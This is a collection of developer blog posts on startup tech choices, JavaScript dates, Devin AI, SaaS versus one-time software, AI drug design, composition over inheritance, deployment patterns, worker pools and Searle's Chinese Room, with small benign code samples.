Wed, 03 Apr 2024 00:00:00 +0000

This post is for you, who want to become independent from companies and are looking to create your own projects in the internet world. Have you ever thought if those extra milliseconds of performance that we get by switching a project to a more verbose language really matter that much or if the search for the fastest framework is really worth it?

In the world of programmers there is an obsession with speed and performance; we want to squeeze every possible millisecond out of the language and reduce memory consumption to the minimum possible and write queries in their most elegant version that pushes our database to its speed limit and and subject them to the most rigorous Big O performance analysis .

In this constant search we go from high level languages to lower level languages, we wander through the darkest corners of the documentation towards the most esoteric runtimes written in arcane languages whose names seem to be taken out of a dictionary of another language. Did any particular one come to your mind?.

Throughout this virtual odyssey, we completely forgot about what is probably the only factor that matters: the boring market.

How much do requests per second matter at a startup?

If you, or your company, are not a major league player on the Internet, you are probably giving more importance than necessary to the fact that your application serves 1 request per second instead of 100.

Some frameworks can handle up to 600k requests per second

Yes, it is true that we are talking about a factor of 100, but consider the following: One request per second means 60 in a minute, 3600 in an hour and 86400 a day.

Are you really worried about your application having a traffic of 86400 requests in a day? If you already have such traffic, paying an extra developer to tune the gears of your software should not be a problem, and if it is, you probably don’t have a performance problem, but a monetization problem.

Not every project requires you to learn the difficult Rust Syntax .

Does memory consumption matter in a new web application?

Does it matter whether your application runs with minimal memory consumption using a low-level language, or with higher consumption using a high-level language. I would say it depends; if your application or project is new, it’s probably worth paying a few dollars more per month for extra memory in exchange for a higher development speed in each iteration.

I’m not saying that it’s wrong to take care of the technical aspects, but right now there are more important things, such as acquiring information that will translate into profitability later, or allocating more resources to marketing and advertising your startup or project than wasting time ironing out the kinks in your code.

Optimizing for good SEO is also more important than the memory consumption or the efficiency of your application, believe me, I learned the importance of SEO from my own mistakes

I’ll say it again just in case you didn’t get it: marketing and sales are more important than the quality of your software when you start a project.

Development speed vs. performance

For most startups or solopreneurs, the market exploration process will be more important than reducing resource consumption. What good does it do you to cut your RAM and processor consumption in half if your iterations are going to go from one week to two and a half weeks?

Usually fast enough is enough

Do not choose an efficient language, but one that allows you to be flexible to changes and adapt quickly while obtaining information. In this case, the speed of developing new features or modifying existing ones is much more important than their performance.

Remember that in technology everything is a trade-off, in this case performance for productivity.

Also, keep in mind that this also applies when choosing the tools you know; you may be faster programming in a low level language that you already master, than in a high level language that you don’t master.

Sometimes using an automation tool like n8n can be better than programming everything from scratch.

Keep the technical debt in mind

Another thing, when optimizing for development speed, don’t forget to consider technical debt, find the tipping point and pivot towards scalability.

Credits: Martin Fowler

Situations where performance and security do matter.

Does it mean that you should forget about all other languages and try to implement all your ideas in a tool written in a mediocre language ~~javascript~~ just for the speed of development?, no, I think there are situations where it is crucial to choose the fastest, safest and most efficient, like for example: for browsers, game engines or operating systems (however this post is about web applications), although, again, you are not going to design an operating system by yourself… unless you want your OS to be the third temple of Jerusalem and you want to communicate with god.

Using a low-level language is usually the right decision for situations where performance is critical, you don’t want services where people’s lives or health are at stake written in high-level languages, which tend to be more flexible in typing and more prone to runtime errors.

You will also want performance and security in environments where you deal with things even more important than people’s lives, such as applications related to the financial market and where significant amounts of money are handled (sarcasm, just in case, the only people who think like that are the people on Wall street).

Top Tools To Get Shit Done in web development

I am an advocate of avoiding reinventing the wheel every time. It’s quite annoying to have to create authentication systems, CRUDS, database queries over and over again, even though some communities, like Go, prefer to implement everything from scratch.

Here is a list of some of my favorite solutions to save you all the boilerplate and focus on what’s important, that although they don’t have the best performance, they focus on having working prototypes as soon as possible.

Wordpress: because you already know’
Ruby on Rails: Mature framework, with a long history and easy to use.
Coolify: Coolify is an alternative to Vercel/Netifly/Heroku , but open source and with a permissive license.
AdonisJs: Javascript with ORM and authentication included.
Django: It’s easy to develop a MVP without having to reinvent the wheel , also there is lot of info out there on how to scale it to serve up to one million users.
Pocketbase: Portable backend made in Go, a single binary, authentication and CRUD
Supabase: Another portable backend, but in JavaScript
Appwrite: Authentication, Databases, Functions, Storage, and Messaging
Cookiecutter: templates to save you Boilerplate, the Django one is very good
Hugo: Static site generator, fast enough (though not as fast as its Rust version, Zola)
No-code tools
Daisy UI: CSS library based on Tailwind.
N8n, automation tool

Care for performance only when it matters

Once the cash flow is sufficient, rewrite your application in a low-level language, get rid of the ORM and run your SQL queries manually, implement your own abstractions instead of using a framework, refactor your entire app with a more robust architecture pattern, and hire specialists to take care of every extra millisecond in your systems.

When that time comes, I hope you get to the point where switching from a language like Go to Rust, as happened to Discord , really makes a difference.

Why I abhor datetime-local and dates in Javascript?

Wed, 20 Mar 2024 00:00:00 +0000

Working with Javascript is frustrating and, sometimes, combining it with HTML can be desperate due to its lack of internal coherence. On top of that, using it to handle dates, which requires considering the handling of timezones, different ways to represent them and the required sensitivity: seconds, minutes, milliseconds, etc. makes it a torture.

Javascript handles dates in a strange way

Javascript uses months starting from index 0 and days from index 1, two objects with the same date are unequal when compared with === (yes, I know that what is being compared are the objects and not the dates), but it is just the fact that it is not intuitive, the language user is not interested in the objects in memory itself, but what they represent.

Languages like Python have better abstractions than Javascript

Javascript’s date management is not intuitive

The disconnection between HTML and JS

In the case of scheduling an event with a date and time, it is tempting to use the native datetime-local input already provided by HTML. However, this field by default requires a date in “YYYYY-MM-DDThh:mm” format, while javascript returns the dates in a Date object, which you must transform to ISO 6801 “YYYYY-MM-DDThh:mm.iiiZ”, where the “i” is microseconds (or to another format with a function of its own).

Javascript’s abstraction when it comes to dates can be confusing

To perform this transformation, the most obvious way is to remove the letter “Z”, but if you try to assign that date to the datetime-input input, it will allow the user to select the milliseconds, which really has little application for most users. The correct thing to do would be to slice from the beginning, making a slice from position 0 to the sensitivity we need.

Well, after this the datetime-local input will work and show the date, the problem now is that after validating your HTML field and probably before saving those dates in some storage media (postgres, redis, etc.), you will want to make modifications, so you will have to convert them back to a Date object in javascript in case you want to manage them, which again implies another conversion.

Oh, mom! Not javascript again!

But what if we use a library to handle those changes?

The js libraries for time handling don’t solve anything.

I have nothing against using Moment or react-datetimepicker, Dayjs, etc. In fact I think their developers perform a very worthy task: simplifying Javascript’s poor date handling (if any contributor reads this, thanks).

Those libraries exist, because Javascript did a lousy job in designing its standard library. Libraries are convenient to use but, in an ideal world, they should not exist.

It may seem insignificant to you to add one more library, but it’s not the weight that’s the problem, it’s the fact that a library for something as common as date handling is so necessary, plus it adds unnecessary weight to your bundle and an extra dependency to manage.

The fact that these libraries are popular only highlights the shortcomings of JavaScript as a language.

And yes, I know what you’re thinking. Although I really like the Go programming language , I’m also able to recognize their shortcomings and areas for improvement.

Go’s date formatting, like Javascript’s, is awful

Temporal will solve all this mess

Of course you and I are not the only ones complaining about dates in Javascript, this has been an issue for a long time, but our prayers have been heard and Temporal appears to be offered as the replacement for the original date management library . Right now the support from major browsers is minimal, but this is just a matter of time, finally we will have a non-convoluted library for dates.


// Note that the date is stored internally as ISO 8601, even when it's
// interpreted in a different calendar system. For example, even though
// 2021-07-01 is 4658-05-22 in the Chinese calendar, you still pass the
// ISO date to the constructor.
const plainDate2 = new Temporal.PlainDate(2021, 7, 1, "chinese");
console.log(plainDate2.toString()); // 2021-07-01[u-ca=chinese]
console.log(plainDate2.year); // 4658
console.log(plainDate2.month); // 5
console.log(plainDate2.day); // 22

Other libraries to handle dates effortlessly in Javascript

While temporal is ready, or if your needs are somewhat complex. you can use the following alternatives.

Devin AI Will this AI Replace Programmers?

Wed, 13 Mar 2024 00:00:00 +0000

Today this unholy news became popular, that an “AI Software Engineer” with the name Devin, made by Cognition Labs , will be available on the market. And, of course, it provoked a strong reaction among the software professional community. Reactions ranging from cynicism to fear to disappointment abound in the comments on the related videos.

While we are still far from having a self-aware AI , what we do have nice fine-tuneable LLM with promising features that threaten to turn the technology industry upside down.

Like what features? According to its creators, Devin AI can :

Use unfamiliar technologies
Create and deploy applications
Automatically find bugs
Train your own AI models
Contribute to mature repositories
Solve real projects on Upwork (much more than solve interview code problems )

Who is behind Devin AI?

Behind Devin AI is Cognition labs, a relatively new company that had been kept behind the scenes until yesterday. Their Twitter account is less than two days old at the time of writing (although it already accumulates over 86k followers).

Who are the members of Cognition labs?

There are about 10 members, between them totaling more than 10 gold medals at the International Computer Olympiad and whose members seem to have been involved in AI-related projects at companies like Google, DeepMind and Scale AI. So one can speak of a group with some level of experience.

Fictitious and caricatured representation of Devin AI’s creators

Who is funding the project?

So far Cognitive Labs claims to have raised about 21 MDD in a round led by Founders Fund, most notably investor Peter Thiel, former head of Paypal.

Source: https://knowyourmeme.com/photos/2402121-peter-thiel

What’s going to happen to the programmers - are they at risk?

Well, it is difficult to know for sure, given the lack of information. However, I propose a couple of likely scenarios:

Devin AI will replace the programmers and revolutionize the industry.
Devin AI will not rise to the occasion and will fall into oblivion.

Devin AI will replace the programmers and take their jobs.

Who do you think would win in a battle to produce more books, 1000 ancient Egyptian scribes or a photocopier hooked up to a computer?

I am of the opinion that the second option, simply the capabilities of the printer to produce pages faster, with fewer errors and in a fraction of the time, are beyond the capabilities of the scribes. While it is true that a person is required to set up and use the printer, that does not imply that scribes stand a chance. Similarly, while programmers will still be required and more jobs will be “created” as is usually claimed, the real question is: how many jobs will be lost for every new job that is created?.

Let’s continue with this thought experiment, let’s assume, for a moment, that Devin AI does exactly what he says. Since Devin AI is a tool, it still requires input from a human being to function, so the “output”, i.e. its performance, will depend on how good its “input”, i.e. the person giving it the instructions, is.

This means that the profession of prompt engineer will become a reality, and with the consequence that those people with superior abstraction, writing and lexical abilities will become practically gods of this new utopia (or dystopia, depending on how you see it).

In addition, all those professions in charge of perfecting AI models will become professions with a very high demand, since any company that wants to compete and stay afloat will need one.

New opportunities after the end of programming

Getting a job if you are new in the industry will be quite complicated, but at the same time the barrier to create digital businesses will decrease and it will be more important to identify and solve problems. Becoming a solopreneur or freelancer will be incredibly easy, as the technical skills required will be significantly reduced and you may be better off aiming in that direction.

How likely do I see this scenario? The truth is that I consider it a pretty unlikely scenario.

Devin AI is just temporary hype and will be forgotten soon.

The second possibility is that nothing happens. Yes, nothing.

It has happened multiple times in the past; every great forgotten idea starts with the promise of revolutionizing the world, as it happened with no-code or Dreamweaver (A WYSIWYG editor to create websites from 2007). Both were technologies that from one moment to the next threatened to change the world of technology forever, and failed to do so.

Remember Agent Swarm AI ? It also generated a lot of expectations but in the end it didn’t crystallize into anything.

So far Copilot, ChatGPT and probably Devin AI have been nothing more than “google searches” on steroids, they can give you the information you request directly, but it’s not necessarily real and fail-safe. The iterative process offered by this system improves quite a bit on the usual question-answer dynamic, but it is still immune to falling into loops due to problems it can’t solve or producing something totally different from what you ask for, for now we need to test it a lot more.

In addition to the above, there is another aspect that we are missing.

The financial aspect of artificial intelligence.

Let me describe a situation:

A group of entrepreneurs come up with a novel product.
It goes viral and everyone talks about how it will forever change our everyday life.
The creators receive seed capital from many, many investors.
It ends up becoming just another tool and everything stays the same.

Does it sound like anything like that? Maybe they are just a group of people looking to become millionaires and we’re in the middle of an AI overhype and possible in a bubble about to burst .

Consider that, in the world of money, appearances play a major role. Right now, only a few people who have had access to Devin AI are raving about the tool. Sounds too good, doesn’t it? This could all be a marketing campaign to inflate expectations, attract investors and make “easy” money.

But didn’t Peter Thiel just invest money? Yes, but that doesn’t mean anything. If you are an investor, you don’t care if the project exists for a month, two months, a decade or two, the only important thing is that it is profitable enough for you according to your own investment criteria. In other words: What does it matter if the project dies if I can turn 21 MDD into 40 MDD in less than a year?

It strikes me that the way to request access to Devin AI is through a google form instead of using an App developed with the same model, which would be the perfect cover letter for this technology. After all, it’s not like it’s outside the capabilities of their model, it’s not an application with 1000 microservices, load balancing, streaming and a recommendation engine, it’s a plain simple and common registration form.

I consider this scenario more likely, but let’s wait a year or two and see together if Devin AI lives up to its promise. My bet is that Devin won’t replace programmers.

A different approach than Devin AI

Some companies abandonned the idea of replace developers and focused on becoming tools in code creation, like Bolt, Lovable o V0

SAAS and OTS as business models and my opinion on Once

Thu, 22 Feb 2024 00:00:00 +0000

It is no secret that these days software, in general, is trending towards a SAAS business model. However if you were there when the holy scriptures of the internet were written, you will know that this trend is rather recent.

OTS and software as a physical product

When the internet first came into use, it was common practice to sell software as if it were a regular supermarket product; you made a one-time payment and the product was yours, you owned it outright and you were free to use it until the inevitable collapse of our modern society.

Not only that, but you physically owned it outside of computers; either in the form of CDs, floppy disks and later DVDs.

But was this situation a corporate decision? Well, yes and no, let me expand on this point a bit.

The lack of payment methods and the slow internet of yesteryear

Much of the commercial software was too heavy, in proportion to the size of the storage devices, to download without problems.

In the old days, internet connections were incredibly slow and unstable, leaving aside the strange noise that preceded every connection, old internet pirates know what I’m talking about.

Windows downloading that states years of waiting time

As a result, many companies chose to distribute their software via CDs or other external media.

Old Adobe Photoshop installation Floppy disks

Making payments over the internet was not something common.

Making payments over the internet was unusual, paypal didn’t exist and there were no other companies offering the service, plus people were wary of the world of online transactions. I don’t blame them, HTTPS didn’t exist, let alone strong cryptographic standards to protect your personal data.

The advent of SAAS, the recurring payment model and SAAS hell

The landscape changed and the internet evolved, or maybe it’s better to say it became corporatized.

Companies like Adobe grew and realized that they could save a lot of money by eliminating the logistics of distributing physical products and focusing solely on offering their content over the web.

Subsequently, they found that it was more lucrative to rent the software, probably because:

They dampened the variability of sales. They no longer had to worry about sudden changes in sales.
They guaranteed a steady cash flow that allowed them to better plan their costs given the stability.
The user was unable to use older versions of the software at zero cost.

Offering SAAS allowed companies to make a product or service available to the market with a rentier business model and ensure that if customers wanted to continue using a product (or service) they would have to pay month to month or forget about using it.

Meme about Adobe and its obsession for profit

This affected mainly those people who rarely updated their software. If they wanted to use it the following month, they now had to pay.

Stonks

At the same time, however, it allowed companies to release new versions of their software more frequently and to iterate more quickly on user feedback to improve their product, allowing them to improve their product and make it more attractive to customers.

That said, you might think that migrating to a SAAS model would make companies millionaires, but it didn’t, at least not for Adobe.

Adobe made obligatory monthly payments in 2017

Although it is worth noting that if gross profits did not increase dramatically, his SAAS business allowed him to operate with a gross margin of 93%. Imagine, 93%, Jeff Bezos’ wettest dream!

Source: https://tomtunguz.com/adobe-saas-growth

Was it a smart move? Well at least it seems so, since they have kept it up all these years, many, many companies followed the trend along with Adobe and adopted SAAS models.

SAAS Hell

As more companies adopted SAAS, we went from living in a world of CDs, DVDs and floppy disks to one with a long list of monthly payments for the software we use: netflix, slack, chatGPT, buffer, nuelink, X, Adobe, etc. Offering the companies some pretty convenient recurring revenue and us a list of bills to pay each month.

Eleven and the return of OTS

And right in the middle of this sea of SAAS, Once appears as an island that offers refuge from the onslaught of companies that want to keep you subscribed for as long as possible.

Eleven is a company that plans to go against the current SAAS trend. Eleven claims that it is unfair that customers have to pay so much money without ever owning the product, similar to the landlord-tenant model, where the landlord will not own the real estate, even if he has paid more money than the real estate to the landlord.

In his manifesto, Eleven, with the eloquence of the best politician, promises one-time payment for his software and access to the code, waving the flag of a promising post-SAAS era.

Once Manifesto

Surprisingly, their promise is not based on empty words; they have developed an application similar to Slack, called campfire, which promises to reduce operating costs by up to 99.9% and was quite well received at X.

"Just look at that 3-year TOC. Campfire running on Hetzner would cost you $479 for 500 users over three years ($299 + 36 * $5). Slack with the same number of seats would cost you $270,000!!! The ONCE solution is literally 99.9% cheaper. It’s crazy." https://t.co/4eZHS5Xz6s
— DHH (@dhh) February 1, 2024

Some OTS and SAAS considerations.

What advantages do I see? Well the most obvious one, money, paying $299 USD is much better than paying a recurring subscription of $7.25/user/month for decades. The price is incredibly cheap for a company (although a bit more significant for an individual, so I’ll be looking forward to trying it out). Add to this the obvious advantage of total control over the data, as the database will be completely in the clients’ possession and, surprisingly, access to the code, allowing them to extend it and integrate it with other systems (license permitting).

The disadvantages? You have to be sure that campfire will not disappear leaving you with a deprecated, unsupported product. Not to mention the increased responsibility, as you will now be responsible for keeping the application running, either directly or by hiring someone else, which depending on the number of users and workload may or may not be cost effective.

From Eleven’s point of view, I would point out that it is disadvantageous to provide the source code to your customers, because you expose yourself to the development of competing products, but I’m not saying it, some of them will be able to develop the application for you.

References:

Artificial Intelligence & Drug Design for Developers

Fri, 29 Dec 2023 00:00:00 +0000

The uses of artificial intelligence go beyond solving coding problems , and regardless of whether this artificial intelligence is conscious or not , it has endless applications. One of the most interesting applications for artificial intelligence is the development of new drugs. Bringing a new drug to market is an arduous, costly and, in most cases, unsuccessful process. Artificial intelligence can speed up the process enormously and narrow down the new drug candidates to a few, rather than dozens of them.

For this post I’m going to take some liberties and simplify concepts and sacrifice some (or a lot) of precision for the sake of better understanding. If you have doubts about who I am to talk about these topics, and about my credentials, feel free to ask me on social networks.

First I’m going to briefly explain the basics of how a drug works.

How does a drug work in humans explained for developers?

When you ingest a drug orally, it enters your digestive system, is absorbed by it and transported into your blood. Once in the blood, the circulatory system is responsible for distributing it throughout the body. The blood has contact with all your cells. When the drug reaches the right cells, it binds to cell receptors, which trigger a normal cell function; either releasing insulin into the body, or blocking the secretion of a hormone.

At code level, you can think of a drug as a function that calls another function that already exists in the human body:

function releaseInsulin(){}

function administerDrug(drug){
  // ...
  releaseInsulin()
}

How does the drug know which cells to act on?

The relationship between a drug and a cell receptor follows a key-lock mechanism, where the drug (the key) will only activate the functions of those cells that have a receptor (the lock) that “fits” with the drug.

Whether they fit or not depends on the three-dimensional structure of the molecule and the receptor.

function releaseInsulin(){}

function administerDrug(drug){
  if(isReceptorCompatible(cell, drug)){
    releaseInsulin()
  }
}

And not only that, a drug may partially fit a receptor, which may cause an effect with less intensity than if it did fit perfectly, and furthermore, not fitting perfectly could make it activate other receptors that would trigger unwanted side effects.

Look how the molecule fits perfectly into this receptor.

Drugs have undesirable side effects.

Administering a drug is not as simple as an “A” produces “B”. A drug does not usually have only one effect, but multiple ones. There are even drugs that have as a side effect the possibility of sudden death, yes, just as you are reading it, you take it and there is a possibility (tiny, yes) that you will drop dead.

An optimal drug will cause the desired effect with a minimum of side effects, both in the short and long term.

function releaseInsulin(){}

function applyDrug(drug){
  if(isReceptorCompatible(cell, drug)){
    // desired effects
    releaseInsulin()
    // undesired effects
    increaseDizzyness()
    createRash()
  }
}

How long does a drug last in the body?

Well, the answer to that is “it depends”. It depends on each drug, some may last for minutes, some may last for hours and of others we may find traces even weeks or months later. But, generally they all follow the same pattern, the same phases and always in this same order:

Absorption: if the route of administration is intravenous it is instantaneous.
Distribution: The blood is responsible for carrying it throughout the body and its physicochemical properties determine where it remains.
Metabolism: Generally, the liver begins to break down the drug and thus its effect ends.
Excretion: Mostly excreted through the kidneys, in the urine.

What does it depend on whether a drug works and its side effects?

As I mentioned earlier, whether or not a drug activates a cell’s receptor depends on whether it fits its “lock”. This is defined by its three-dimensional structure. For this reason, if two drugs look alike, they are likely to cause similar effects, but being different, one of them will cause fewer side effects.

Generally a drug maintains a base structure, without which it has no effect, and small variations in that base structure are what determine the intensity of the therapeutic effect and the side effects. The difficult part is trying to deduce which combination will be the best.

All penicillins have the yellow structure in common. These two differ in the part highlighted in red.

Look at the molecules above, a single change results in different behavior in the body, can you imagine how many variants we can have for a single drug? Each with different properties, structure and thus different intensities of therapeutic effect and with a unique combination of side effects.

What if instead of an Oxygen we use a sulfur, or if we remove the large hexagon-shaped structure on the left side (benzene) and replace it with two carbons? What if instead of two carbons we use three or four?

It is very difficult to predict this manually, but this is exactly where artificial intelligence can shine.

Artificial intelligence and drug development

Artificial intelligence is able to recognize patterns that humans cannot, it can analyze information related to a large number of molecules and their variants; their side effects, their three-dimensional structure, bioavailability, polarity, presence of functional groups and any other information already existing about each of these molecules, and use them to train a model that predicts whether a molecule has the potential to become a good drug candidate for further analysis and testing in animals and humans.

Fluoxetine, an antidepressant that acts by blocking a receptor.

Of course AI for drug development will reach its full potential once the AI overhype stops .

What parameters should I use to train an artificial intelligence model to discover new drugs?

Well, that’s the crux of the matter, the million dollar question. If you have never worked with biological systems and drugs, I suggest you read up on the basics of pharmacokinetics, pharmacodynamics and stereochemistry.

Cells are incredibly complex systems where there are countless parts interacting with each other. There is no simple answer to this question because it depends on the type of cell, the type of drug being used, and even such trivial factors as the type of diet and the time at which a drug is administered (chronopharmacology) can introduce noise in the behavior of drugs in a patient.

In addition, there are different approaches ranging from the three-dimensional structure, taking into account the functional groups or atoms that make up a molecule, as well as its multiple physicochemical properties, among which its solubility in lipids stands out, since it indicates how easily it will cross cell membranes; the greater the solubility in lipids, the greater the distribution in the body.

Most people think that chemistry is all about mixing things and seeing how the colors change, but in reality mathematics plays a fundamental role in chemistry and there are equations for everything from how to calculate how much to add of a substance to predicting how much of a substance remains in the body according to its physicochemical properties.

Databases for available drugs

There are many, many databases available with information collected on many, many molecules that you can use to feed your models.

I dare say that although the process will not be perfect and will be full of stumbles, given that the human body is a highly complex system, it will be much better than blindly searching through endless options.

If you are interested in the topic, a good place to start is this article titled Artificial intelligence for drug discovery: Resources, methods, and applications

Composition over inheritance quickly explained with legos

Wed, 11 Oct 2023 00:00:00 +0000

Composition over inheritance is a recurring theme in object-oriented programming (OOP). Usually, it is explained in a very complex way, but today I will try to simplify so even a child can understand it, purists will hate me but I’m willing to pay the price.

Let’s start our composition over inheritance explanation. Imagine you have a giant box of LEGO bricks, yes, those little plastic blocks that cause unimaginable pain when you step on them. But, in this case, we won’t use them to cause pain but to build different types of cars.

Composition vs inheritance

To build our tiny LEGO cars, there are two ways:

Inheritance: you can start with a basic car design, and then make changes to it to create different types of cars. But sometimes this turn into a complete disaster, since you can end up with some strange cars that won’t work properly.

You start with a car and start changing parts. All rights for this image belong to LEGO

Composition: Instead of starting with a basic car and changing it, you can use smaller LEGO pieces to build the different parts of a car, such as wheels, doors, and windows. Then put those pieces together to create different types of cars. This way, you have more control and flexibility to create exactly the type of car you want without making a mess.

You start with pieces and start assembling your car. All rights for this image belong to LEGO

Composition over inheritance in a nutshell

So, in a nutshell, composition over inheritance means that it’s often better to build things by putting smaller parts together rather than changing one big thing to make something new.

Composition vs inheritance diagram

Composition over inheritance, code example

And put in an example using Python code we would get something like:


# Inheritance 
class Car:
    def start_engine(self):
        print("Starting engine")

class SportsCar(Car):
    def start_engine(self):
        print("Rrrrrrrr! Starting engine")

# Composition 
class Engine:
    def start(self):
        print("Starting engine")

class Car:
    def __init__(self):
        self.engine = Engine()

    def start_engine(self):
        self.engine.start()

class SportsCar:
    def __init__(self):
        self.engine = Engine()

    def start_engine(self):
        print("Vroooooom! Starting engine")

# Using Composition
regular_car = Car()
regular_car.start_engine()

fast_car = SportsCar()
fast_car.start_engine()

In the inheritance example, we started with a basic “Car” and modified it to make a “SportsCar”. In the compositing example, we build an “Automobile” and a “SportsCar” by combining smaller parts, such as the engine. It’s like using LEGO pieces to build cars, and it gives us more control and flexibility when writing our programs. Once you understand the meaning of composition over inheritance it’ll make you rethink the way you write code.

Common and Useful Deployment Patterns

Fri, 18 Aug 2023 00:00:00 +0000

What is a deployment pattern?

A deployment pattern (Not to be confused with a design pattern ) is an automatic method of deploying new features of an application to your users. But it doesn’t stop there, it is possible to get extra information from a deploy of an application, but…. but how?

Imagine you want to test a feature of your web application, but you are afraid that it will not be liked by your users, or you want to see if this new feature increases or decreases the conversion rate of your application, which is invaluable, especially in the early stages of iteration of an application.

What can you do in these cases? The best thing to do would be to test it on a representative sample of your audience and, depending on how it responds, discard it or roll it out to the rest of the users.

Common deployment patterns

There are a number of widely used deployment patterns:

Monolithic deployment
Microservices deployment
Containerization
Serverless Deployment
Continuous Integration (CI) / Continuous Deployment (CD)
Canary
Features toggles
Blue/Green
A/B Testing
Dark launches

For this post I am going to focus on the last patterns, since they are the ones I have read the least information about on the internet. Consider that deployment patterns can be combined with each other. For example, you can perform A/B tests on your monolithic application to find the best version. Having said that, I will explain the patterns.

Canary deployment

This pattern consists of showing new features to a small group of users. After analyzing and correcting the performance of the new features and, if appropriate, the deploy is extended to all users.

graph LR; LoadBalancer-->Ver-1; LoadBalancer-->Ver-2-Canary;

Features toggles deployment

Instead of releasing all changes at the same time, this pattern hides new features behind a switch, which can be turned on or off without modifying the code. This allows changes to be released gradually or only to certain users, making it easy to test and manage. This method has the advantage that if a problem occurs, you can turn the switch off without the need to return the code to a previous state.

graph LR; Server-- on/off --> Feature1; Server-- on/off --> Feature2;

Blue/Green deployment

In the blue/green deployment we have two similar environments simultaneously. These environments will be known as blue and green. At any time only one of the two environments will be active, while load balancing from one environment to the other. If we find any errors we simply adjust the load balancing to the opposite side.

graph LR; LoadBalancer-->Stagging; LoadBalancer-.->Production;

A/B testing deployment

A/B testing is the classic A/B testing; a random set of our users will receive version A of the application, while the rest will receive version B. We will then use statistics, specifically the two-sample t-test, to determine which version (A or B) is more effective.

The distribution percentage does not necessarily have to be 50-50.

graph LR; LoadBalancer-->VersionA-->30["30%"]-->Analysis; LoadBalancer-->VersionB-->70["70%"]-->Analysis-->Statistics;

Dark launches deployment

This type of deployment pattern is quite similar to the Canary deployment, however in this case users must be aware that they are receiving a test version and must be aware of the new functionality being tested. With this knowledge the users will be able to provide feedback on the new functionality.

graph LR; LoadBalancer-->Normal; LoadBalancer---|Inform the users|DarkLaunch;

Consider that many projects do not reach the necessary size for a deploy pattern to be useful, and that if your application has few users it may even be counterproductive. However, if this is not the case, you can use one or several of them to extract valuable information for your application.

Worker Pool Design Pattern Explanation

Wed, 28 Jun 2023 00:00:00 +0000

This entry is about a the Worker Pool design pattern. Imagine that you have a number of concurrent tasks that you want to perform, either crawling many websites, or perhaps processing information from each of the pixels of an image or anything else you can think of.

The simplistic option is to create a series of workers and use them concurrently, something like this pseudocode:

for job in jobs:
    async process_concurrent_job()

This may look pretty good so far, at first, but it has multiple disadvantages; first, you will be creating workers without control, which can increase your program’s memory usage incredibly fast; second, you are constantly creating and destroying workers, which can be costly for your program.

If there is no worker limit, workers will continue to be created to match the tasks

It would be best to keep memory usage constant and avoid creating and destroying workers frequently. For this, the worker pool pattern works perfect.

Interactive Worker pool explanation

Worker pool is a classical design pattern that comes to make up for these shortcomings.

There are developers who have used this pattern to handle a million requests per minute on go.

How does the worker pool design pattern work?

Let’s take a tail of a task by running, these can be fixed or dynamically created. Then, instead of creating and destroying multiple workers ( goroutines in the case of go ) constantly, we create a fixed number of workers and put them in a cycle, in which they will be constantly listening for information from the queue (through a channel in the case of languages like Go ). This way we will keep our memory management much more stable and predictable, in addition to limiting the impact of constant creation and destruction of workers.

Finally, we can optionally save the results of these tasks in a queue from which they can be read later.

flowchart TD Job_1-->JobQueue Job_2-->JobQueue Job_3-->JobQueue subgraph WorkerPool JobQueue-->|job|Worker_1 JobQueue-->|job|Worker_2 JobQueue-->|job|Worker_n end

Job queue

The tasks or jobs that we want to be executed by the workers will go to a task queue or job queue. A normal queue, like any other. This can be fixed, or created on the fly by means of user interactions or other systems.

classDiagram class JobQueue{ job 1 job 2 job 3 ... job n }

The pool

The pool initializes and hosts the number of workers we set up, generally you will want to use a configuration file, environment variables or other means. Each of these workers will take a task, run it, and when it becomes available again, it will again look for a task from the job queue to run and repeat the cycle.

flowchart TD subgraph Pool JobQueue-->|job|Worker_1 JobQueue-->|job|Worker_2 JobQueue-->|job|Worker_3 JobQueue-->|job|Worker_4 JobQueue-->|job|Worker_n end

The worker

The worker is in charge of executing the tasks and, as I mentioned, it will be listening for new tasks or jobs permanently or until a certain limit that we indicate, such as the job queue runs out, a given number of tasks are executed or any other condition that we declare.

flowchart TD A[The worker is initiliazed] --> B{Are pending jobs in the queue?} B -->|yes| C[Get a new job] C --> B B ---->|No| E[End the worker]

The fixed number of workers will ensure that, during the entire program execution, there will be a maximum number of tasks running, which will limit the memory impact of our concurrent tasks.

The worker pool’s results queue (optional)

Optionally, we can send the result of each task executed by a worker to a second queue; the result queue, which we can process later.

classDiagram class ResultsQueue{ result 1 result 2 result 3 ... result n }

This design pattern is very useful when huge amounts of tasks have to be processed and when we do not want to overload the system. And, as you can guess it is quite popular and useful in programming languages that heavily use concurrency, such as the Go programming language .

Chat Gpt, Searle's Chinese Room and consciousness

Wed, 19 Apr 2023 00:00:00 +0000

Chat GPT is on everyone’s lips, some are afraid of it, because of its ability to solve code problems others are excited about its potential to change the world of work. Today I leave aside the economic consequences of AI and the question about whether we’re in an overhyped AI bubble or not , to focus on the philosophical aspect of Chat GPT and reflect a bit on the question: does Chat GPT really understand language, is Chat GPT conscious?

What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. Adriy Burkov

John Searle’s The Chinese Room

John Searle, was a scientist who wondered whether a computer can really understand language. And for this he designed a riveting thought experiment:

Image of Searle’s Chinese Room generated with Dall-E

A human, inside a room completely isolated from the outside world, with a set of instructions to process Chinese kanjis and return a response.

It should be noted that the person inside the room does not know the Chinese and simply follows the set of instructions given to him, i.e., he does not understand the text coming in, nor the text going out.

graph TD; 沙悟淨-->Room; Room-->西遊記;

Can you notice the similarities with a computer? They are quite obvious; there is an input, an output and a black box or computer program, the details of which would escape those outside this simplified little system.

graph TD; Input-->Program; Program-->output;

According to Searle, to the people outside the room, whatever is inside the room seems to understand Chinese perfectly. However, we know that the person inside is just following a set of instructions, as complex as we like, but which does not involve an understanding of language, but a mechanical process. According to Searle, this situation is analogous to the operation of a computer.

Is ChatGPT conscious?

Extrapolating the above to ChatGPT; although a language model may produce responses that appear coherent and relevant, there is no evidence that it actually understands the language or is aware of its meaning.

To Searle, ChatGPT (or any other Large Language Model LLM, Like Mistral, DeepSeek, etc.) may be following the most complex algorithm in existence but, according to Searle, there is no more awareness of the process there than we would find in the most sophisticated mechanical clock.

But then what makes the difference between a real intelligence and a mechanical process? is there such a difference?

The highest representative of intelligence on earth is the human being (or at least our inflated ego tells us that), and it also happens that the human being is a living entity with consciousness. This leads us to the inevitable question: is a living being with consciousness necessary to have intelligence, or perhaps it is the other way around?

Signs of Intelligence with consciousness

Some argue that consciousness and intelligence are related and that we would even have a gradient of consciousness as we advance in the complexity and intelligence of organisms .

Penrose states that not only consciousness and intelligence are related but that intelligence is an exclusive trait of conscious beings. .

